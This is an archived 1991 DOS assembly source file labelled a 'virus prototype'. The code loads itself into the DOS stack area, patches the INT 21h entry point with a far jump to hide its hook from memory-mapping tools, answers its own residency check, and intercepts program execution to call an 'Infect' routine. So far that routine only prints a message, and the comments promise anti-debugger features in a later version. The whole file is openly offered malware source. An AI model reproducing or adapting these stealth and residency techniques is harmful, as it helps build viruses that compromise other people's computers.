home *** CD-ROM | disk | FTP | other *** search
- ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
-
- ;▒ ▒
-
- ;▒ V I R U S P R O T O T Y P E ▒
-
- ;▒ ▒
-
- ;▒ Author : Waleri Todorov, CICTT, (C)-Copyright 1991, All Rights Rsrvd ▒
-
- ;▒ Date : 25 Jan 1991 21:05 ▒
-
- ;▒ Function : Found DOS stack in put himself in it. Then trace DOS ▒
-
- ;▒ function EXEC and type 'Infect File' ▒
-
- ;▒ ▒
-
- ;▒ ▒
-
- ;▒ If you want to have fun with this program just run file STACK.COM ▒
-
- ;▒ Don't worry, this is not a virus yet, just try to find him in memory ▒
-
- ;▒ with PCTools and/or MAPMEM. If you can -> just erase the source - it is ▒
-
- ;▒ useless for you. If you can't -> you don't have to look at it - it is too ▒
-
- ;▒ difficult to you to understand it. ▒
-
- ;▒ Best regards, Waleri Todorov ▒
-
- ;▒ ▒
-
- ;▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
-
-
-
-
-
-
-
-
-
- mov ah,52h ; Get DOS segmenty
-
- int 21h
-
-
-
- cmp ax,1234h ; Also check for already here
-
- jne Install ; If not -> install in memory
-
- ReturnControl
-
-
-
- int 20h ; This program will give control
-
- ; to main file
-
- Install
-
- mov ax,es ; mov DOS segment in AX
-
- mov DosSeg,ax ; Save DOS segment for further usage
-
- mov ds,ax ; DS now point in DOS segment
-
-
-
- call SearchDos ; Search DOS entry point
-
- call SearchStack ; Search DOS stack
-
-
-
- push cs ; DS=ES=CS
-
- push cs
-
- pop ds
-
- pop es
-
-
-
- mov ax,DosSeg ; get DOS segment in AX
-
- mov cl,4 ; AX*=16
-
- shl ax,cl
-
- mov bx,StackOff ; Stack new begin in BX
-
- and bx,0FFF0h ; Mask low 4 bit
-
- add ax,bx ; Compute new real address
-
- mov cl,4 ; AX/=16
-
- shr ax,cl ; Now we get SEGMENT:0000
-
- sub ax,10h ; Segment-=10-> SEG:100h
-
- mov StackOff,ax ; Save new segment for further usage
-
- mov es,ax ; ES point in DOS New area
-
- mov si,100h ; ES:DI -> DOS:free_space_in_stack
-
- mov di,si ; DS:SI Current segment
-
- mov cx,512d ; Virus is only 512 bytes long
-
- rep movsb ; Move virus to new place
-
-
-
- ; Installing virus in DOS' stack we will avoid a conflict with PCTools,
-
- ; MAPMEM, and other sys software. Remark, that no one DOS buffer wasn't
-
- ; affected, so if you have program, that count DOS' buffers to found
-
- ; Beast666, she won't found anything.
-
- ; In further release of full virus I will include anti-debugger system,
-
- ; so you will not be able to trace virus
-
-
-
- mov di,DosOff ; ES:DI point to DOS int21 entry point
-
- mov ax,DosSeg
-
- mov es,ax
-
- mov al,0EAh ; JMP XXXX:YYYY
-
- stosb
-
- mov ax,offset Entry21
-
- stosw ; New 21 handler's offset
-
- mov ax,StackOff
-
- stosw ; New 21 handler's segment
-
-
-
-
-
- ; Now DOS will make far jump to virus. In case that virus won't
-
- ; get vector 21 directly, MAPMEM-like utilities won't show int 21 catching,
-
- ; and DOSEDIT will operate correctly (with several virus he don't).
-
-
-
- inc di
-
- inc di
-
- mov Int21off,di ; Virus will call DOS after jump
-
- jmp ReturnControl ; Return control to file
-
-
-
- ; At this moment, return control is just terminate program via int 20h.
-
- ; In further release of full virus this subroutine will be able to
-
- ; return control to any file (COM or EXE).
-
-
-
-
-
-
-
- ; These are two scanners subroutine. All they do are scanning DOS segment
-
- ; for several well-known bytes. Then they update some iternal variables.
-
- ; Be patience, when debug this area!
-
-
-
- SearchDos
-
- mov ax,cs:[DosSeg]
-
- mov ds,ax
-
- xor si,si
-
-
-
- Search1
-
- lodsw
-
- cmp ax,3A2Eh
-
- je NextDos1
-
- dec si
-
- jmp short Search1
-
- NextDos1
-
- lodsb
-
- cmp al,26h
-
- je LastDos
-
- sub si,2
-
- jmp short Search1
-
- LastDos
-
- inc si
-
- inc si
-
- lodsb
-
- cmp al,77h
-
- je FoundDos
-
- sub si,5
-
- jmp short Search1
-
- FoundDos
-
- inc si
-
- mov cs:[Int21off],si
-
- sub si,7
-
- mov cs:[DosOff],si
-
- ret
-
-
-
- SearchStack
-
- xor si,si
-
- Search2
-
- lodsw
-
- cmp ax,0CB8Ch
-
- je NextStack1
-
- dec si
-
- jmp short Search2
-
- NextStack1
-
- lodsw
-
- cmp ax,0D38Eh
-
- je NextStack2
-
- sub si,3
-
- jmp short Search2
-
- NextStack2
-
- lodsb
-
- cmp al,0BCh
-
- je FoundStack
-
- sub si,4
-
- jmp short Search2
-
- FoundStack
-
- mov di,si
-
- lodsw
-
- sub ax,200h
-
- stosw
-
- mov cs:[StackOff],ax
-
- ret
-
-
-
- Entry21 ; Here is new int 21 handler
-
- cmp ah,52h ; If GET_LIST_OF_LISTS
-
- jne NextCheck
-
-
-
- mov ax,1234h ; then probably I am here
-
- mov bx,cs:[DosSeg] ; so return special bytes in AX
-
- mov es,bx
-
- mov bx,26h
-
- iret ; Terminate AH=52h->return to caller
-
- NextCheck
-
- cmp ax,4B00h ; If EXEC file
-
- jne GoDos
-
- call Infect ; then file will be infected
-
- GoDos
-
- jmp dword ptr cs:[Int21off]
-
- ; Otherwise jump to DOS
-
- Infect
-
- push ds ; At this moment just write on screen
-
- push dx
-
- push ax
-
-
-
- push cs
-
- pop ds
-
- mov dx,offset Txt
-
- mov ah,9
-
- CallDos
-
- pushf ; Call real DOS
-
- call dword ptr cs:[Int21off]
-
-
-
- pop ax
-
- pop dx
-
- pop ds
-
- ret
-
-
-
- Int21off dw 0 ; Offset of DOS 21 AFTER jump to virus
-
- DosSeg dw 0 ; DOS segment
-
- StackOff dw 0 ; Offset of stack/New segment
-
- DosOff dw 0 ; Offset of DOS 21 BEFIRE jump
-
- Txt db 'Infect File$' ; Dummy text
-
-
-